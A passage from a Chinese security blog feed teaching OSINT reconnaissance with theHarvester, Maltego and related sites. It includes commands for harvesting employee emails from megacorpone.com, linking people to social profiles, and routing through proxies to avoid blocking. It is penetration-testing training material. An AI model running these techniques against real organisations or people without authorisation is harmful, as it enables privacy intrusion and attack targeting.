&lt;li&gt;&lt;code&gt;twitter&lt;/code&gt;：Twitter 相关账号&lt;/li&gt;
&lt;li&gt;&lt;code&gt;shodan&lt;/code&gt;：Shodan IP/服务扫描&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dnsdumpster&lt;/code&gt;：DNS 子域名挖掘&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certspotter&lt;/code&gt;：SSL 证书信息&lt;/li&gt;
&lt;li&gt;&lt;code&gt;github&lt;/code&gt;：GitHub 代码泄露&lt;/li&gt;
&lt;li&gt;完整列表：&lt;code&gt;all&lt;/code&gt;（使用全部可用源）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 使用 Google 和 DNSdumpster 搜索
theHarvester -d example.com -b google,dnsdumpster

# 使用全部数据源
theHarvester -d example.com -b all
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-限制结果数量"&gt;&lt;strong&gt;2. 限制结果数量&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;-l, --limit &amp;lt;数量&amp;gt; # 限制每个数据源返回结果数（默认：500）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;示例：&lt;code&gt;theHarvester -d example.com -l 100&lt;/code&gt;&lt;/p&gt;
&lt;h4 id="3-主动扫描扩展"&gt;&lt;strong&gt;3. 主动扫描扩展&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;-s, --scrape # 抓取网站提取额外邮箱（可能触发反爬）
-v, --virtual-host # 验证虚拟主机（检查IP是否托管多域名）
-n, --dns-lookup # 对发现的域名执行DNS解析
-c, --shodan # 使用Shodan API扫描发现的IP（需API密钥）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;示例：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;theHarvester -d example.com -b all -s -n -c
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="4-输出控制"&gt;&lt;strong&gt;4. 输出控制&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;-f, --filename &amp;lt;文件&amp;gt; # 结果保存到文件（默认：results/&amp;lt;domain&amp;gt;.html/.xml）
--filename # 仅控制文件名前缀（自动追加格式后缀）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;示例：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 保存为JSON格式
theHarvester -d example.com -f results.json -b google
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="高级用法-1"&gt;&lt;strong&gt;高级用法&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-代理配置绕过封锁"&gt;&lt;strong&gt;1. 代理配置（绕过封锁）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;--proxy # 使用代理（需在配置文件中设置代理服务器）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;配置文件路径：&lt;code&gt;/etc/theHarvester/proxies.yaml&lt;/code&gt;&lt;/p&gt;
&lt;h4 id="2-api密钥配置"&gt;&lt;strong&gt;2. API密钥配置&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;部分数据源（如Shodan、GitHub）需API密钥：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;编辑配置文件：&lt;code&gt;/etc/theHarvester/api-keys.yaml&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;添加密钥（示例）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan: YOUR_SHODAN_API_KEY
github: YOUR_GITHUB_TOKEN
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="3-组合实战示例"&gt;&lt;strong&gt;3. 组合实战示例&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;：全面收集企业信息并验证服务&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;theHarvester -d example.com \
 -b google,dnsdumpster,linkedin,shodan \ # 指定核心数据源
 -l 200 \ # 限制结果量
 -s -n -v -c \ # 启用主动验证
 -f full_report # 输出到文件
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="输出结果解读"&gt;&lt;strong&gt;输出结果解读&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;工具输出包含以下关键信息：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Hosts (IP地址)&lt;/strong&gt;：发现的服务器IP&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Emails&lt;/strong&gt;：关联邮箱（含来源）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Subdomains&lt;/strong&gt;：子域名列表&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Virtual Hosts&lt;/strong&gt;：共享IP的域名&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shodan Data&lt;/strong&gt;：开放端口/服务详情（需&lt;code&gt;-c&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关联人员&lt;/strong&gt;（LinkedIn/Twitter来源）&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="注意事项-2"&gt;&lt;strong&gt;注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;法律合规&lt;/strong&gt;：仅用于授权测试，避免滥用&lt;/li&gt;
&lt;li&gt;速率限制：搜索引擎会封禁高频请求，建议：
&lt;ul&gt;
&lt;li&gt;限制结果数（&lt;code&gt;-l 100&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;使用代理（&lt;code&gt;--proxy&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;避免频繁执行&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API密钥&lt;/strong&gt;：Shodan/GitHub等源需配置密钥才能生效&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;💡 提示：使用 &lt;code&gt;theHarvester -h&lt;/code&gt; 查看完整帮助文档，获取最新数据源列表和选项说明。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="练习题"&gt;&lt;em&gt;练习题&lt;/em&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;使用TheHarvester枚举megacorpone.com的电子邮件地址。&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;theHarvester -d megacorpone.com -b bing
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;emailharvester -d megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;proxychains emailharvester -d megacorpone.com &lt;span class="c1"&gt;# 带代理查找&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250530130148982" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530130148982.png"&gt;&lt;/p&gt;
&lt;h2 id="social-media-tools-社交媒体信息收集工具"&gt;Social Media Tools 社交媒体信息收集工具
&lt;/h2&gt;&lt;p&gt;网址：https://www.social-searcher.com/&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530131135085" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530131135085.png"&gt;&lt;/p&gt;
&lt;h2 id="基于特定网站的搜索工具"&gt;基于特定网站的搜索工具
&lt;/h2&gt;&lt;p&gt;Twiter &lt;a class="link" href="https://digi.ninja/projects/twofi.php" target="_blank" rel="noopener"
 &gt;https://digi.ninja/projects/twofi.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;LinkedIn &lt;a class="link" href="https://github.com/initstring/linkedin2username" target="_blank" rel="noopener"
 &gt;https://github.com/initstring/linkedin2username&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;可以自行再github上搜索相关工具。&lt;/p&gt;
&lt;h2 id="osint-framework-开源情报框架"&gt;&lt;em&gt;OSINT Framework&lt;/em&gt; 开源情报框架
&lt;/h2&gt;&lt;p&gt;网址：https://osintframework.com/&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530131723791" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530131723791.png"&gt;&lt;/p&gt;
&lt;p&gt;介绍了一些国外常用的收集信息的工具和网站，基于该框架搜索和收集信息&lt;/p&gt;
&lt;h2 id="maltego"&gt;&lt;em&gt;Maltego&lt;/em&gt;
&lt;/h2&gt;&lt;p&gt;网址：http://www.paterva.com/buy/maltego-clients.php&lt;/p&gt;
&lt;p&gt;安装后免费注册一个账号即可使用&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530132054290" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530132054290.png"&gt;&lt;/p&gt;
&lt;p&gt;Maltego 是一款强大的开源情报（OSINT）和网络关系可视化工具，用于信息收集、关联分析和数据取证。以下是详细使用指南：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530133818690" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530133818690.png"&gt;&lt;/p&gt;
&lt;h3 id="一核心概念"&gt;&lt;strong&gt;一、核心概念&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;实体（Entities）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基本数据单元（如 Domain, IP, Person, Email, Phone 等）&lt;/li&gt;
&lt;li&gt;右键可执行操作（Transforms）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;变换（Transforms）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对实体执行的操作（如查找关联域名、邮箱、IP等）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;图谱（Graph）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;可视化展示实体间的关系网络&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="二基础工作流程"&gt;&lt;strong&gt;二、基础工作流程&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="步骤1创建新项目"&gt;&lt;strong&gt;步骤1：创建新项目&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;启动 Maltego → &lt;code&gt;New&lt;/code&gt; → &lt;code&gt;Graph&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;命名项目（如 &lt;code&gt;megacorp_investigation&lt;/code&gt;）&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="步骤2添加起始实体"&gt;&lt;strong&gt;步骤2：添加起始实体&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;左侧面板选择实体类型（如 &lt;code&gt;Domain&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;拖拽到工作区 → 双击输入目标（如 &lt;code&gt;megacorpone.com&lt;/code&gt;）&lt;/p&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
A[Domain: megacorpone.com] --&gt; B[Run Transforms]&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250530141551542" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530141551542.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530141745165" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530141745165.png"&gt;&lt;/p&gt;
&lt;h4 id="步骤3执行变换transforms"&gt;&lt;strong&gt;步骤3：执行变换（Transforms）&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;右键实体 →&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Run Transform
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;→ 选择模块&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;常用变换：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;To DNS from domain&lt;/code&gt;（解析DNS记录）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;To Website from Domain&lt;/code&gt;（查找网站）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;To Email addresses&lt;/code&gt;（挖掘邮箱）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;To IP addresses&lt;/code&gt;（解析IP）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250530142019027" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530142019027.png"&gt;&lt;/p&gt;
&lt;h4 id="步骤4扩展分析"&gt;&lt;strong&gt;步骤4：扩展分析&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;对新生成的实体重复步骤3&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;示例路径：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Domain → IP → Netblock → Other domains
 ↓
 Email → Person → Social profiles
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="三实战案例调查公司资产"&gt;&lt;strong&gt;三、实战案例：调查公司资产&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;：挖掘 &lt;code&gt;megacorpone.com&lt;/code&gt; 相关资产和人员&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;起始点&lt;/strong&gt;：添加 &lt;code&gt;Domain&lt;/code&gt; 实体 → &lt;code&gt;megacorpone.com&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;执行变换：&lt;/p&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TB
A[Domain] --&gt; B[To DNS names]
A --&gt; C[To IP addresses]
A --&gt; D[To Email addresses]
B --&gt; E[Subdomains]
C --&gt; F[Server IPs]
D --&gt; G[Employee emails]&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;深度挖掘：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对IP运行 &lt;code&gt;To Netblock&lt;/code&gt; → 发现同网段其他服务器&lt;/li&gt;
&lt;li&gt;对邮箱运行 &lt;code&gt;To Person&lt;/code&gt; → 关联LinkedIn资料&lt;/li&gt;
&lt;li&gt;对人员运行 &lt;code&gt;To Social Networks&lt;/code&gt; → 发现社交媒体账号&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250530143313981" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530143313981.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="四高级技巧"&gt;&lt;strong&gt;四、高级技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-自定义变换组合"&gt;1. &lt;strong&gt;自定义变换组合&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;创建&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Machines
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;（自动化工作流）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Machines&lt;/code&gt; → &lt;code&gt;Create new Machine&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;拖拽实体和变换构建流程&lt;/li&gt;
&lt;li&gt;示例：自动完成 &lt;code&gt;Domain → IP → Port Scan → Services&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-数据源集成"&gt;2. &lt;strong&gt;数据源集成&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;安装Transform Hub模块：
&lt;ul&gt;
&lt;li&gt;Shodan（IP扫描）&lt;/li&gt;
&lt;li&gt;Hunter.io（邮箱挖掘）&lt;/li&gt;
&lt;li&gt;VirusTotal（威胁情报）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;配置API密钥：&lt;code&gt;Transforms&lt;/code&gt; → &lt;code&gt;Transform Hub&lt;/code&gt; → 激活服务&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250530143645266" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530143645266.png"&gt;&lt;/p&gt;
&lt;h4 id="3-可视化优化"&gt;3. &lt;strong&gt;可视化优化&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;颜色标记：右键实体 → &lt;code&gt;Change Color&lt;/code&gt;（如红色标记高危IP）&lt;/li&gt;
&lt;li&gt;关系线调整：拖动连线调整路径&lt;/li&gt;
&lt;li&gt;布局优化：&lt;code&gt;Layout&lt;/code&gt; → &lt;code&gt;Organic&lt;/code&gt; / &lt;code&gt;Hierarchical&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-数据导出"&gt;4. &lt;strong&gt;数据导出&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;导出图谱：&lt;code&gt;Export&lt;/code&gt; → PNG/PDF/SVG&lt;/li&gt;
&lt;li&gt;导出数据：&lt;code&gt;Export&lt;/code&gt; → CSV/GraphML&lt;/li&gt;
&lt;li&gt;生成报告：&lt;code&gt;Reporting&lt;/code&gt; → &lt;code&gt;Create Report&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="五常用变换模块"&gt;&lt;strong&gt;五、常用变换模块&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;变换名称&lt;/th&gt;
 &lt;th&gt;功能&lt;/th&gt;
 &lt;th&gt;适用实体&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To DNS from domain&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;解析子域名&lt;/td&gt;
 &lt;td&gt;Domain&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To IP Address [DNS]&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;解析IP地址&lt;/td&gt;
 &lt;td&gt;Domain&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To Website [Domain]&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;发现关联网站&lt;/td&gt;
 &lt;td&gt;Domain&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To Email addresses [Domain]&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;挖掘邮箱&lt;/td&gt;
 &lt;td&gt;Domain&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To Netblock [IP]&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;查找IP所属网段&lt;/td&gt;
 &lt;td&gt;IP&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To Domain [SSL Cert]&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;通过SSL证书发现域名&lt;/td&gt;
 &lt;td&gt;IP&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To Person [Email]&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;关联人员信息&lt;/td&gt;
 &lt;td&gt;Email&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;Shodan: Scan IP&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;端口扫描&lt;/td&gt;
 &lt;td&gt;IP&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="六最佳实践"&gt;&lt;strong&gt;六、最佳实践&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;分层调查：&lt;/p&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
L1[基础设施] --&gt; DNS/IP/Netblock
L2[人员] --&gt; Email/Person/Social
L3[威胁] --&gt; Vulnerabilities/Breach&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;保存检查点&lt;/strong&gt;：&lt;code&gt;File&lt;/code&gt; → &lt;code&gt;Save as Snapshot&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用书签&lt;/strong&gt;：标记关键实体（右键 → &lt;code&gt;Bookmark&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;避免噪音&lt;/strong&gt;：设置过滤器（&lt;code&gt;View&lt;/code&gt; → &lt;code&gt;Filter Entities&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250530143908757" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530143908757.png"&gt;&lt;/p&gt;
&lt;h3 id="七学习资源"&gt;&lt;strong&gt;七、学习资源&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;官方教程：&lt;code&gt;Help&lt;/code&gt; → &lt;code&gt;Interactive Tutorials&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;案例库：&lt;a class="link" href="https://www.maltego.com/use-cases/" target="_blank" rel="noopener"
 &gt;Maltego Use Cases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;认证课程：&lt;a class="link" href="https://www.maltego.com/training/" target="_blank" rel="noopener"
 &gt;Maltego Certified Examiner (MCE)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;⚠️ &lt;strong&gt;注意&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;遵守法律和道德规范，仅用于授权测试&lt;/li&gt;
&lt;li&gt;社区版功能有限，企业版支持更多数据源&lt;/li&gt;
&lt;li&gt;敏感操作（如端口扫描）可能触发安全警报&lt;/li&gt;
&lt;/ul&gt;

 &lt;/blockquote&gt;
&lt;p&gt;通过 Maltego 的可视化关联分析，您能将碎片信息转化为可行动的情报，极大提升渗透测试和威胁调查效率。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day16 Kali被动信息收集（开源情报）</title><link>https://ruajingjing.top/post/day16-kali%E8%A2%AB%E5%8A%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</link><pubDate>Thu, 29 May 2025 17:45:02 +0000</pubDate><guid>https://ruajingjing.top/post/day16-kali%E8%A2%AB%E5%8A%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day16 Kali被动信息收集（开源情报）" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="被动信息收集passive-information-gathering-与-主动信息收集active-information-gathering-的区别"&gt;&lt;strong&gt;被动信息收集（Passive Information Gathering）&lt;/strong&gt; 与 &lt;strong&gt;主动信息收集（Active Information Gathering）&lt;/strong&gt; 的区别
&lt;/h2&gt;&lt;p&gt;在网络安全、渗透测试和威胁情报分析中，这两种信息收集方式的核心区别在于 &lt;strong&gt;是否直接与目标系统交互&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="1-被动信息收集"&gt;&lt;strong&gt;1. 被动信息收集&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义&lt;/strong&gt;：
通过公开资源或第三方数据源获取目标信息，​&lt;strong&gt;​不直接与目标系统或网络通信​&lt;/strong&gt;​。&lt;/li&gt;
&lt;li&gt;特点：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;隐蔽性高&lt;/strong&gt;：目标无法感知被探测。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;依赖公开数据&lt;/strong&gt;：利用搜索引擎、社交媒体、DNS记录、数据库等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;法律风险低&lt;/strong&gt;：通常不违反法律（需遵守隐私政策）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;常见方法：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;搜索引擎&lt;/strong&gt;：Google Hacking（&lt;code&gt;site:&lt;/code&gt;, &lt;code&gt;filetype:&lt;/code&gt; 等语法）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WHOIS查询&lt;/strong&gt;：获取域名注册信息（注册人、DNS服务器）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS解析&lt;/strong&gt;：通过公开DNS记录获取子域名、IP地址（如 &lt;code&gt;dig&lt;/code&gt;、&lt;code&gt;nslookup&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;历史数据&lt;/strong&gt;：查看网页快照（Wayback Machine）、漏洞数据库（CVE、Exploit-DB）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社交媒体&lt;/strong&gt;：LinkedIn、GitHub（员工信息、代码泄露）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shodan/Censys&lt;/strong&gt;：搜索暴露的物联网设备和服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;适用场景：
&lt;ul&gt;
&lt;li&gt;渗透测试初期，确定目标范围。&lt;/li&gt;
&lt;li&gt;威胁情报分析，追踪攻击者基础设施。&lt;/li&gt;
&lt;li&gt;避免触发目标安全告警（如IDS/IPS）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-主动信息收集"&gt;&lt;strong&gt;2. 主动信息收集&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义&lt;/strong&gt;：
​&lt;strong&gt;​直接与目标系统或网络通信​&lt;/strong&gt;​，通过发送探测请求获取信息。&lt;/li&gt;
&lt;li&gt;特点：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;交互性强&lt;/strong&gt;：可能触发安全机制（如防火墙、日志记录）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;信息更精准&lt;/strong&gt;：直接验证目标状态（端口开放性、服务版本）。&lt;/li&gt;
